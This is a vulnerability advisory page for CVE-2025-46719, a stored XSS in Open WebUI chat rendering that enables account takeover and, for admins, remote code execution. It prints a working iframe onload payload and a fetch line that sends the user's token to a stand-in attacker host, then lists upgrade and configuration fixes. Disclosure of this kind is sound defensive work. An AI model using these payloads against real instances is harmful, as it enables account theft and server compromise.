CVE-2025-46719: Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

Published May 5, 2025
·
Updated

Summary

A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.

If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.

This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chatid>, allowing for wormable stored XSS in https://openwebui.com

Details

Stored XSS

The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code: TypeScript {:else if token.text.includes(<iframe src="${WEBUIBASEURL}/api/v1/files/)} {@html ${token.text}} That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUIBASEURL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.

!image !image

In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control: fetch("https://attacker.com/?token=" + localStorage.getItem("token"))

This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.

Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"

!image

If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed

!image

This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.

<hr>

RCE

If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.

The following HTTP request can be sent to the backend server to execute arbitrary python code.

!image !image

PoC

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

Impact

Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, a vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosted. This can be done by creating a new function which contains malicious python code. This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chatid>, allowing for wormable stored XSS in https[:]//openwebui[.]com. Version 0.6.6 contains a patch for the issue.

MITRE

Affected Software

3 affected componentsFixes available
Open WebUI Open WebUI<0.6.6
openwebui Open WebUI<0.6.6
pip/open-webui<0.6.6
0.6.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.6.6
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 0.6.6
  3. Configuration

    In Open WebUI, disable “Enable Community Sharing” in the admin panel to prevent wormable stored XSS from being shared across users/community.

    Open WebUI admin panel Enable Community Sharing = disabled
  4. Compensating control

    Avoid exposing the Open WebUI transcript-sharing upload surfaces (e.g., shared chat transcripts and community sharing) to untrusted content/users while the vulnerability is addressed.

Event History

May 5, 2025
CVE Published
via MITRE·06:50 PM
Data Sourced
via MITRE·06:50 PM
DescriptionWeakness
Data Sourced
via NVD·07:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 7, 2026
Advisory Published
via GitHub·04:50 PM
Data Sourced
via GitHub·04:50 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-46719?

CVE-2025-46719 is classified as a medium severity vulnerability due to the potential for JavaScript injection in chat messages.

2

How do I fix CVE-2025-46719?

To fix CVE-2025-46719, upgrade Open WebUI to version 0.6.6 or later where the vulnerability has been patched.

3

What type of attack is associated with CVE-2025-46719?

CVE-2025-46719 is associated with cross-site scripting (XSS) attacks that allow attackers to execute malicious JavaScript.

4

What versions of Open WebUI are affected by CVE-2025-46719?

Open WebUI versions prior to 0.6.6 are affected by CVE-2025-46719.

5

Can CVE-2025-46719 lead to data breach?

Yes, CVE-2025-46719 can potentially lead to data breaches as it allows unauthorized script execution that could access sensitive information.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203